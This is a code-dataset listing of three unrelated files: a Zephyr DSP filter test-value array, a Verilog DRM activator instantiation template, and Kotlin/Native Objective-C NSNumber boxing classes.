0x2415, 0x251b, 0x2382, 0x1a65, 0x8897, 0x1c2e, 0x2311, 0x2785,
0x2756, 0x247f, 0x9a3d, 0xa534, 0xa7e1, 0xa6eb, 0xa130, 0x20d9,
0x26e1, 0x2800, 0x24dd, 0x9871, 0xa519, 0xa7bb, 0xa6dd, 0xa154,
0x22bc, 0x26de, 0x273c, 0x246d, 0x87a6, 0x1af7, 0x21e4, 0x2625,
0x28eb, 0x2838, 0x23b9, 0xa1f6, 0xa7d1, 0xa8f6, 0xa76e, 0x9ce2,
0x24f8, 0x28a3, 0x289b, 0x2453, 0xa141, 0xa7d6, 0xa8d4, 0xa72c,
0x9d09, 0x25d6, 0x288f, 0x2832, 0x868e, 0x19f9, 0x210c, 0x2545,
0x2827, 0x299c, 0x282b, 0x208f, 0xa53f, 0xa8ec, 0xa96a, 0xa6b1,
0x1a49, 0x2722, 0x2959, 0x289e, 0x21c1, 0xa4fa, 0xa8e2, 0xa92e,
0xa663, 0x192b, 0x27f0, 0x2941, 0x85bd, 0x1939, 0x206b, 0x249c,
0x2744, 0x28d8, 0x29be, 0x2746, 0x17be, 0xa718, 0xa971, 0xa944,
0xa53e, 0x2130, 0x283f, 0x2982, 0x2829, 0x1c1e, 0xa6b8, 0xa951,
0xa902, 0xa502, 0x20bf, 0x28a9, 0x8519, 0x18a5, 0x1fda, 0x2419,
0x2675, 0x284e, 0x2909, 0x2967, 0x25e7, 0x9c29, 0xa80c, 0xa969,
0xa8c1, 0xa3af, 0x238a, 0x2873, 0x2938, 0x26ef, 0x9638, 0xa78f,
0xa943, 0xa885, 0xa357, 0x2315, 0x8497, 0x182e, 0x1f11, 0x2360,
0x25d0, 0x27c0, 0x2888, 0x28cb, 0x28e4, 0x24b2, 0x9f79, 0xa80f,
0xa908, 0xa839, 0xa1dd, 0x241e, 0x283d, 0x28b0, 0x25d7, 0x9c3d,
0xa787, 0xa8e7, 0xa803, 0xa183, 0x8388, 0x166e, 0x1d70, 0x21ac,
0x2478, 0x25f6, 0x26f8, 0x275f, 0x2766, 0x2757, 0x2794, 0x284a,
0x24d4, 0x9813, 0xa64d, 0xa858, 0xa81a, 0xa404, 0x2069, 0x2695,
0x2839, 0x2636, 0x1547, 0xa5c1, 0x81b3, 0x1231, 0x193c, 0x1d77,
0x204e, 0x21bd, 0x22b6, 0x2319, 0x2320, 0x2311, 0x234c, 0x240d,
0x24b8, 0x257a, 0x2629, 0x269f, 0x26cf, 0x26c5, 0x26bd, 0x26e1,
0x2747, 0x27ea, 0x2851, 0x28a7, 0x89bd, 0x1d39, 0x248d, 0x2536,
0x23c9, 0x185f, 0xa0ff, 0xa518, 0xa52b, 0xa16f, 0x1676, 0x23c8,
0x25aa, 0x2433, 0x198f, 0xa10a, 0xa4cf, 0xa53d, 0xa203, 0x1cfa,
0x2415, 0x251b, 0x2382, 0x1a65, 0xa0d3, 0xa528, 0x8897, 0x1c2e,
0x2311, 0x2785, 0x2756, 0x247f, 0x9a3d, 0xa534, 0xa7e1, 0xa6eb,
0xa130, 0x20d9, 0x26e1, 0x2800, 0x24dd, 0x9871, 0xa519, 0xa7bb,
0xa6dd, 0xa154, 0x22bc, 0x26de, 0x273c, 0x246d, 0x97fa, 0xa512,
0x87a6, 0x1af7, 0x21e4, 0x2625, 0x28eb, 0x2838, 0x23b9, 0xa1f6,
0xa7d1, 0xa8f6, 0xa76e, 0x9ce2, 0x24f8, 0x28a3, 0x289b, 0x2453,
0xa141, 0xa7d6, 0xa8d4, 0xa72c, 0x9d09, 0x25d6, 0x288f, 0x2832,
0x2396, 0xa144, 0x868e, 0x19f9, 0x210c, 0x2545, 0x2827, 0x299c,
0x282b, 0x208f, 0xa53f, 0xa8ec, 0xa96a, 0xa6b1, 0x1a49, 0x2722,
0x2959, 0x289e, 0x21c1, 0xa4fa, 0xa8e2, 0xa92e, 0xa663, 0x192b,
0x27f0, 0x2941, 0x2825, 0x2081, 0x85bd, 0x1939, 0x206b, 0x249c,
0x2744, 0x28d8, 0x29be, 0x2746, 0x17be, 0xa718, 0xa971, 0xa944,
0xa53e, 0x2130, 0x283f, 0x2982, 0x2829, 0x1c1e, 0xa6b8, 0xa951,
0xa902, 0xa502, 0x20bf, 0x28a9, 0x295d, 0x2743, 0x8519, 0x18a5,
0x1fda, 0x2419, 0x2675, 0x284e, 0x2909, 0x2967, 0x25e7, 0x9c29,
0xa80c, 0xa969, 0xa8c1, 0xa3af, 0x238a, 0x2873, 0x2938, 0x26ef,
0x9638, 0xa78f, 0xa943, 0xa885, 0xa357, 0x2315, 0x28d6, 0x2908,
0x8497, 0x182e, 0x1f11, 0x2360, 0x25d0, 0x27c0, 0x2888, 0x28cb,
0x28e4, 0x24b2, 0x9f79, 0xa80f, 0xa908, 0xa839, 0xa1dd, 0x241e,
0x283d, 0x28b0, 0x25d7, 0x9c3d, 0xa787, 0xa8e7, 0xa803, 0xa183,
0x23a7, 0x2898, 0x8388, 0x166e, 0x1d70, 0x21ac, 0x2478, 0x25f6,
0x26f8, 0x275f, 0x2766, 0x2757, 0x2794, 0x284a, 0x24d4, 0x9813,
0xa64d, 0xa858, 0xa81a, 0xa404, 0x2069, 0x2695, 0x2839, 0x2636,
0x1547, 0xa5c1, 0xa841, 0xa7dc, 0x81b3, 0x1231, 0x193c, 0x1d77,
0x204e, 0x21bd, 0x22b6, 0x2319, 0x2320, 0x2311, 0x234c, 0x240d,
0x24b8, 0x257a, 0x2629, 0x269f, 0x26cf, 0x26c5, 0x26bd, 0x26e1,
0x2747, 0x27ea, 0x2851, 0x28a7, 0x28dd, 0x2905, 0x89bd, 0x1d39,
0x248d, 0x2536, 0x23c9, 0x185f, 0xa0ff, 0xa518, 0xa52b, 0xa16f,
0x1676, 0x23c8, 0x25aa, 0x2433, 0x198f, 0xa10a, 0xa4cf, 0xa53d,
0xa203, 0x1cfa, 0x2415, 0x251b, 0x2382, 0x1a65, 0xa0d3, 0xa528,
0xa4bf, 0x9fce, 0x8897, 0x1c2e, 0x2311, 0x2785, 0x2756, 0x247f,
0x9a3d, 0xa534, 0xa7e1, 0xa6eb, 0xa130, 0x20d9, 0x26e1, 0x2800,
0x24dd, 0x9871, 0xa519, 0xa7bb, 0xa6dd, 0xa154, 0x22bc, 0x26de,
0x273c, 0x246d, 0x97fa, 0xa512, 0xa7b2, 0xa622, 0x87a6, 0x1af7,
0x21e4, 0x2625, 0x28eb, 0x2838, 0x23b9, 0xa1f6, 0xa7d1, 0xa8f6,
0xa76e, 0x9ce2, 0x24f8, 0x28a3, 0x289b, 0x2453, 0xa141, 0xa7d6,
0xa8d4, 0xa72c, 0x9d09, 0x25d6, 0x288f, 0x2832, 0x2396, 0xa144,
0xa777, 0xa8b9, 0x868e, 0x19f9, 0x210c, 0x2545, 0x2827, 0x299c,
0x282b, 0x208f, 0xa53f, 0xa8ec, 0xa96a, 0xa6b1, 0x1a49, 0x2722,
0x2959, 0x289e, 0x21c1, 0xa4fa, 0xa8e2, 0xa92e, 0xa663, 0x192b,
0x27f0, 0x2941, 0x2825, 0x2081, 0xa4b1, 0xa89c, 0x85bd, 0x1939,
0x206b, 0x249c, 0x2744, 0x28d8, 0x29be, 0x2746, 0x17be, 0xa718,
0xa971, 0xa944, 0xa53e, 0x2130, 0x283f, 0x2982, 0x2829, 0x1c1e,
0xa6b8, 0xa951, 0xa902, 0xa502, 0x20bf, 0x28a9, 0x295d, 0x2743,
0x1908, 0xa647, 0x8519, 0x18a5, 0x1fda, 0x2419, 0x2675, 0x284e,
0x2909, 0x2967, 0x25e7, 0x9c29, 0xa80c, 0xa969, 0xa8c1, 0xa3af,
0x238a, 0x2873, 0x2938, 0x26ef, 0x9638, 0xa78f, 0xa943, 0xa885,
0xa357, 0x2315, 0x28d6, 0x2908, 0x260c, 0x995b, 0x8497, 0x182e,
0x1f11, 0x2360, 0x25d0, 0x27c0, 0x2888, 0x28cb, 0x28e4, 0x24b2,
0x9f79, 0xa80f, 0xa908, 0xa839, 0xa1dd, 0x241e, 0x283d, 0x28b0,
0x25d7, 0x9c3d, 0xa787, 0xa8e7, 0xa803, 0xa183, 0x23a7, 0x2898,
0x2893, 0x250a, 0x8388, 0x166e, 0x1d70, 0x21ac, 0x2478, 0x25f6,
0x26f8, 0x275f, 0x2766, 0x2757, 0x2794, 0x284a, 0x24d4, 0x9813,
0xa64d, 0xa858, 0xa81a, 0xa404, 0x2069, 0x2695, 0x2839, 0x2636,
0x1547, 0xa5c1, 0xa841, 0xa7dc, 0xa3a4, 0x201e, 0x81b3, 0x1231,
0x193c, 0x1d77, 0x204e, 0x21bd, 0x22b6, 0x2319, 0x2320, 0x2311,
0x234c, 0x240d, 0x24b8, 0x257a, 0x2629, 0x269f, 0x26cf, 0x26c5,
0x26bd, 0x26e1, 0x2747, 0x27ea, 0x2851, 0x28a7, 0x28dd, 0x2905,
0x24ac, 0xa0a1, 0x89bd, 0x1d39, 0x248d, 0x2536, 0x23c9, 0x185f,
0xa0ff, 0xa518, 0xa52b, 0xa16f, 0x1676, 0x23c8, 0x25aa, 0x2433,
0x198f, 0xa10a, 0xa4cf, 0xa53d, 0xa203, 0x1cfa, 0x2415, 0x251b,
0x2382, 0x1a65, 0xa0d3, 0xa528, 0xa4bf, 0x9fce, 0x1d35, 0x24e0,
0x8897, 0x1c2e, 0x2311, 0x2785, 0x2756, 0x247f, 0x9a3d, 0xa534,
0xa7e1, 0xa6eb, 0xa130, 0x20d9, 0x26e1, 0x2800, 0x24dd, 0x9871,
0xa519, 0xa7bb, 0xa6dd, 0xa154, 0x22bc, 0x26de, 0x273c, 0x246d,
0x97fa, 0xa512, 0xa7b2, 0xa622, 0x9cd1, 0x236b, 0x87a6, 0x1af7,
0x21e4, 0x2625, 0x28eb, 0x2838, 0x23b9, 0xa1f6, 0xa7d1, 0xa8f6,
0xa76e, 0x9ce2, 0x24f8, 0x28a3, 0x289b, 0x2453, 0xa141, 0xa7d6,
0xa8d4, 0xa72c, 0x9d09, 0x25d6, 0x288f, 0x2832, 0x2396, 0xa144,
0xa777, 0xa8b9, 0xa615, 0x18c4, 0x868e, 0x19f9, 0x210c, 0x2545,
0x2827, 0x299c, 0x282b, 0x208f, 0xa53f, 0xa8ec, 0xa96a, 0xa6b1,
0x1a49, 0x2722, 0x2959, 0x289e, 0x21c1, 0xa4fa, 0xa8e2, 0xa92e,
0xa663, 0x192b, 0x27f0, 0x2941, 0x2825, 0x2081, 0xa4b1, 0xa89c,
0xa8ee, 0xa4ee, 0x85bd, 0x1939, 0x206b, 0x249c, 0x2744, 0x28d8,
0x29be, 0x2746, 0x17be, 0xa718, 0xa971, 0xa944, 0xa53e, 0x2130,
0x283f, 0x2982, 0x2829, 0x1c1e, 0xa6b8, 0xa951, 0xa902, 0xa502,
0x20bf, 0x28a9, 0x295d, 0x2743, 0x1908, 0xa647, 0xa8e7, 0xa898,
0x8519, 0x18a5, 0x1fda, 0x2419, 0x2675, 0x284e, 0x2909, 0x2967,
0x25e7, 0x9c29, 0xa80c, 0xa969, 0xa8c1, 0xa3af, 0x238a, 0x2873,
0x2938, 0x26ef, 0x9638, 0xa78f, 0xa943, 0xa885, 0xa357, 0x2315,
0x28d6, 0x2908, 0x260c, 0x995b, 0xa6dc, 0xa8b2, 0x8497, 0x182e,
0x1f11, 0x2360, 0x25d0, 0x27c0, 0x2888, 0x28cb, 0x28e4, 0x24b2,
0x9f79, 0xa80f, 0xa908, 0xa839, 0xa1dd, 0x241e, 0x283d, 0x28b0,
0x25d7, 0x9c3d, 0xa787, 0xa8e7, 0xa803, 0xa183, 0x23a7, 0x2898,
0x2893, 0x250a, 0x9c7e, 0xa68c, 0x8388, 0x166e, 0x1d70, 0x21ac,
0x2478, 0x25f6, 0x26f8, 0x275f, 0x2766, 0x2757, 0x2794, 0x284a,
0x24d4, 0x9813, 0xa64d, 0xa858, 0xa81a, 0xa404, 0x2069, 0x2695,
0x2839, 0x2636, 0x1547, 0xa5c1, 0xa841, 0xa7dc, 0xa3a4, 0x201e,
0x27bb, 0x2858, 0x81b3, 0x1231, 0x193c, 0x1d77, 0x204e, 0x21bd,
0x22b6, 0x2319, 0x2320, 0x2311, 0x234c, 0x240d, 0x24b8, 0x257a,
0x2629, 0x269f, 0x26cf, 0x26c5, 0x26bd, 0x26e1, 0x2747, 0x27ea,
0x2851, 0x28a7, 0x28dd, 0x2905, 0x24ac, 0xa0a1, 0xa88b, 0xa9a1
};
| Max | 3 | Trifunik/zephyr | tests/lib/cmsis_dsp/filtering/src/fir_f16.pat | [
"Apache-2.0"
] |
/////////////////////////////////////////////////////////////////////
////
//// drm_ip_activator_0x1042000100010001_wrapper
//// verilog component declaration example
//// AUTOGENERATED FILE - DO NOT EDIT
//// DRM SCRIPT VERSION 2.2.0
//// DRM HDK VERSION 4.2.1.0
//// DRM VERSION 4.2.1
//// COPYRIGHT (C) ALGODONE
////
/////////////////////////////////////////////////////////////////////
drm_ip_activator_0x1042000100010001_wrapper drm_ip_activator_0x1042000100010001_wrapper_inst (
.drm_aclk (drm_aclk),
.drm_arstn (drm_arstn),
.drm_bus_slave_i_cs (drm_bus_slave_i_cs),
.drm_bus_slave_i_cyc (drm_bus_slave_i_cyc),
.drm_bus_slave_i_we (drm_bus_slave_i_we),
.drm_bus_slave_i_adr (drm_bus_slave_i_adr),
.drm_bus_slave_i_dat (drm_bus_slave_i_dat),
.drm_bus_slave_o_ack (drm_bus_slave_o_ack),
.drm_bus_slave_o_sta (drm_bus_slave_o_sta),
.drm_bus_slave_o_intr (drm_bus_slave_o_intr),
.drm_bus_slave_o_dat (drm_bus_slave_o_dat),
.ip_core_aclk (ip_core_aclk),
.ip_core_arstn (ip_core_arstn),
.drm_event (drm_event),
.drm_arst (drm_arst),
.activation_code_ready (activation_code_ready),
.demo_mode (demo_mode),
.activation_code (activation_code)
);
| Verilog | 3 | FCS-holding/acc_lib | drm_ip/drm_hdk__falconcomputing_data_compression_fczlib_4CUs/falconcomputing.com_data_compression_fczlib_1.0.0/core/drm_ip_activator_0x1042000100010001.veo | [
"Apache-2.0"
] |
/*
* Copyright 2010-2018 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if KONAN_OBJC_INTEROP
#import <Foundation/NSDictionary.h>
#import <Foundation/NSError.h>
#import <Foundation/NSException.h>
#import <Foundation/NSString.h>
#import "ObjCExport.h"
#import "Runtime.h"
#import "Mutex.hpp"
extern "C" {
OBJ_GETTER(Kotlin_boxBoolean, KBoolean value);
OBJ_GETTER(Kotlin_boxByte, KByte value);
OBJ_GETTER(Kotlin_boxShort, KShort value);
OBJ_GETTER(Kotlin_boxInt, KInt value);
OBJ_GETTER(Kotlin_boxLong, KLong value);
OBJ_GETTER(Kotlin_boxUByte, KUByte value);
OBJ_GETTER(Kotlin_boxUShort, KUShort value);
OBJ_GETTER(Kotlin_boxUInt, KUInt value);
OBJ_GETTER(Kotlin_boxULong, KULong value);
OBJ_GETTER(Kotlin_boxFloat, KFloat value);
OBJ_GETTER(Kotlin_boxDouble, KDouble value);
}
#pragma clang diagnostic ignored "-Wobjc-designated-initializers"
@interface KotlinNumber : NSNumber
@end;
[[ noreturn ]] static void incorrectNumberInitialization(KotlinNumber* self, SEL _cmd) {
[NSException raise:NSGenericException format:@"%@ can't be initialized with %s, use properly typed initialized",
NSStringFromClass([self class]), sel_getName(_cmd)];
abort();
}
[[ noreturn ]] static void incorrectNumberFactory(Class self, SEL _cmd) {
[NSException raise:NSGenericException format:@"%@ can't be created with %s, use properly typed factory",
NSStringFromClass(self), sel_getName(_cmd)];
abort();
}
@implementation KotlinNumber : NSNumber
- (NSNumber *)initWithBool:(BOOL)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithChar:(char)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithShort:(short)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithInt:(int)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithInteger:(NSInteger)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithLong:(long)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithLongLong:(long long)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedChar:(unsigned char)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedShort:(unsigned short)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedInt:(unsigned int)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedInteger:(NSUInteger)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedLong:(unsigned long)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithUnsignedLongLong:(unsigned long long)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithFloat:(float)value { incorrectNumberInitialization(self, _cmd); }
- (NSNumber *)initWithDouble:(double)value { incorrectNumberInitialization(self, _cmd); }
+ (NSNumber *)numberWithBool:(BOOL)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithChar:(char)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithShort:(short)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithInt:(int)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithInteger:(NSInteger)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithLong:(long)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithLongLong:(long long)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedChar:(unsigned char)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedShort:(unsigned short)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedInt:(unsigned int)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedLong:(unsigned long)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedInteger:(NSUInteger)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithUnsignedLongLong:(unsigned long long)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithFloat:(float)value { incorrectNumberFactory(self, _cmd); }
+ (NSNumber *)numberWithDouble:(double)value { incorrectNumberFactory(self, _cmd); }
@end;
/*
The code below is generated by:
fun main(args: Array<String>) {
println(genBoolean())
println(genInteger("Byte", "c", "char"))
println(genInteger("Short", "s", "short"))
println(genInteger("Int", "i", "int"))
println(genInteger("Long", "q", "long long"))
println(genInteger("UByte", "C", "unsigned char"))
println(genInteger("UShort", "S", "unsigned short"))
println(genInteger("UInt", "I", "unsigned int"))
println(genInteger("ULong", "Q", "unsigned long long"))
println(genFloating("Float", "f", "float"))
println(genFloating("Double", "d", "double"))
}
private fun genBoolean(): String = """
@interface KotlinBoolean : KotlinNumber
@end;
@implementation KotlinBoolean {
BOOL value_;
}
- (void)getValue:(void *)value {
*(BOOL*)value = value_;
}
- (instancetype)initWithBool:(BOOL)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithBool:(BOOL)value {
KotlinBoolean* result = [[self new] autorelease];
result->value_ = value;
return result;
}
- (BOOL)boolValue {
return value_;
}
- (char)charValue {
return value_;
}
- (const char *)objCType {
return "c";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxBoolean, value_);
}
@end;
""".trimIndent()
private fun genInteger(
name: String,
encoding: String,
cType: String,
kind: String = getNSNumberKind(cType)
) = """
@interface Kotlin$name : KotlinNumber
@end;
@implementation Kotlin$name {
$cType value_;
}
- (void)getValue:(void *)value {
*($cType*)value = value_;
}
- (instancetype)initWith${kind.capitalize()}:($cType)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWith${kind.capitalize()}:($cType)value {
Kotlin$name* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- ($cType)${kind}Value {
return value_;
}
- (const char *)objCType {
return "$encoding";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_box$name, value_);
}
@end;
""".trimIndent()
private fun getNSNumberKind(cType: String) =
cType.split(' ').joinToString("") { it.capitalize() }.decapitalize()
private fun genFloating(
name: String,
encoding: String,
cType: String,
kind: String = getNSNumberKind(cType)
): String = """
@interface Kotlin$name : KotlinNumber
@end;
@implementation Kotlin$name {
$cType value_;
}
- (void)getValue:(void *)value {
*($cType*)value = value_;
}
- (instancetype)initWith${kind.capitalize()}:($cType)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWith${kind.capitalize()}:($cType)value {
Kotlin$name* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
${if (cType != "double") """
// Required to convert Swift floating literals.
- (instancetype)initWithDouble:(double)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
""" else ""}
- ($cType)${kind}Value {
return value_;
}
- (const char *)objCType {
return "$encoding";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_box$name, value_);
}
@end;
""".trimIndent()
*/
// TODO: consider generating it by compiler.
@interface KotlinBoolean : KotlinNumber
@end;
@implementation KotlinBoolean {
BOOL value_;
}
- (void)getValue:(void *)value {
*(BOOL*)value = value_;
}
- (instancetype)initWithBool:(BOOL)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithBool:(BOOL)value {
KotlinBoolean* result = [[self new] autorelease];
result->value_ = value;
return result;
}
- (BOOL)boolValue {
return value_;
}
- (char)charValue {
return value_;
}
- (const char *)objCType {
return "c";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxBoolean, value_);
}
@end;
@interface KotlinByte : KotlinNumber
@end;
@implementation KotlinByte {
char value_;
}
- (void)getValue:(void *)value {
*(char*)value = value_;
}
- (instancetype)initWithChar:(char)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithChar:(char)value {
KotlinByte* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (char)charValue {
return value_;
}
- (const char *)objCType {
return "c";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxByte, value_);
}
@end;
@interface KotlinShort : KotlinNumber
@end;
@implementation KotlinShort {
short value_;
}
- (void)getValue:(void *)value {
*(short*)value = value_;
}
- (instancetype)initWithShort:(short)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithShort:(short)value {
KotlinShort* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (short)shortValue {
return value_;
}
- (const char *)objCType {
return "s";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxShort, value_);
}
@end;
@interface KotlinInt : KotlinNumber
@end;
@implementation KotlinInt {
int value_;
}
- (void)getValue:(void *)value {
*(int*)value = value_;
}
- (instancetype)initWithInt:(int)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithInt:(int)value {
KotlinInt* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (int)intValue {
return value_;
}
- (const char *)objCType {
return "i";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxInt, value_);
}
@end;
@interface KotlinLong : KotlinNumber
@end;
@implementation KotlinLong {
long long value_;
}
- (void)getValue:(void *)value {
*(long long*)value = value_;
}
- (instancetype)initWithLongLong:(long long)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithLongLong:(long long)value {
KotlinLong* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (long long)longLongValue {
return value_;
}
- (const char *)objCType {
return "q";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxLong, value_);
}
@end;
@interface KotlinUByte : KotlinNumber
@end;
@implementation KotlinUByte {
unsigned char value_;
}
- (void)getValue:(void *)value {
*(unsigned char*)value = value_;
}
- (instancetype)initWithUnsignedChar:(unsigned char)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithUnsignedChar:(unsigned char)value {
KotlinUByte* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (unsigned char)unsignedCharValue {
return value_;
}
- (const char *)objCType {
return "C";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxUByte, value_);
}
@end;
@interface KotlinUShort : KotlinNumber
@end;
@implementation KotlinUShort {
unsigned short value_;
}
- (void)getValue:(void *)value {
*(unsigned short*)value = value_;
}
- (instancetype)initWithUnsignedShort:(unsigned short)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithUnsignedShort:(unsigned short)value {
KotlinUShort* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (unsigned short)unsignedShortValue {
return value_;
}
- (const char *)objCType {
return "S";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxUShort, value_);
}
@end;
@interface KotlinUInt : KotlinNumber
@end;
@implementation KotlinUInt {
unsigned int value_;
}
- (void)getValue:(void *)value {
*(unsigned int*)value = value_;
}
- (instancetype)initWithUnsignedInt:(unsigned int)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithUnsignedInt:(unsigned int)value {
KotlinUInt* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (unsigned int)unsignedIntValue {
return value_;
}
- (const char *)objCType {
return "I";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxUInt, value_);
}
@end;
@interface KotlinULong : KotlinNumber
@end;
@implementation KotlinULong {
unsigned long long value_;
}
- (void)getValue:(void *)value {
*(unsigned long long*)value = value_;
}
- (instancetype)initWithUnsignedLongLong:(unsigned long long)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithUnsignedLongLong:(unsigned long long)value {
KotlinULong* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (unsigned long long)unsignedLongLongValue {
return value_;
}
- (const char *)objCType {
return "Q";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxULong, value_);
}
@end;
@interface KotlinFloat : KotlinNumber
@end;
@implementation KotlinFloat {
float value_;
}
- (void)getValue:(void *)value {
*(float*)value = value_;
}
- (instancetype)initWithFloat:(float)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithFloat:(float)value {
KotlinFloat* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
// Required to convert Swift floating literals.
- (instancetype)initWithDouble:(double)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (float)floatValue {
return value_;
}
- (const char *)objCType {
return "f";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxFloat, value_);
}
@end;
@interface KotlinDouble : KotlinNumber
@end;
@implementation KotlinDouble {
double value_;
}
- (void)getValue:(void *)value {
*(double*)value = value_;
}
- (instancetype)initWithDouble:(double)value {
self = [super init];
value_ = value;
return self;
}
+ (instancetype)numberWithDouble:(double)value {
KotlinDouble* result = [[self new] autorelease];
result->value_ = value;
return result;
}
// Required to convert Swift integer literals.
- (instancetype)initWithInteger:(NSInteger)value {
self = [super init];
value_ = value; // TODO: check fits.
return self;
}
- (double)doubleValue {
return value_;
}
- (const char *)objCType {
return "d";
}
-(ObjHeader*)toKotlin:(ObjHeader**)OBJ_RESULT {
RETURN_RESULT_OF(Kotlin_boxDouble, value_);
}
@end;
#endif // KONAN_OBJC_INTEROP
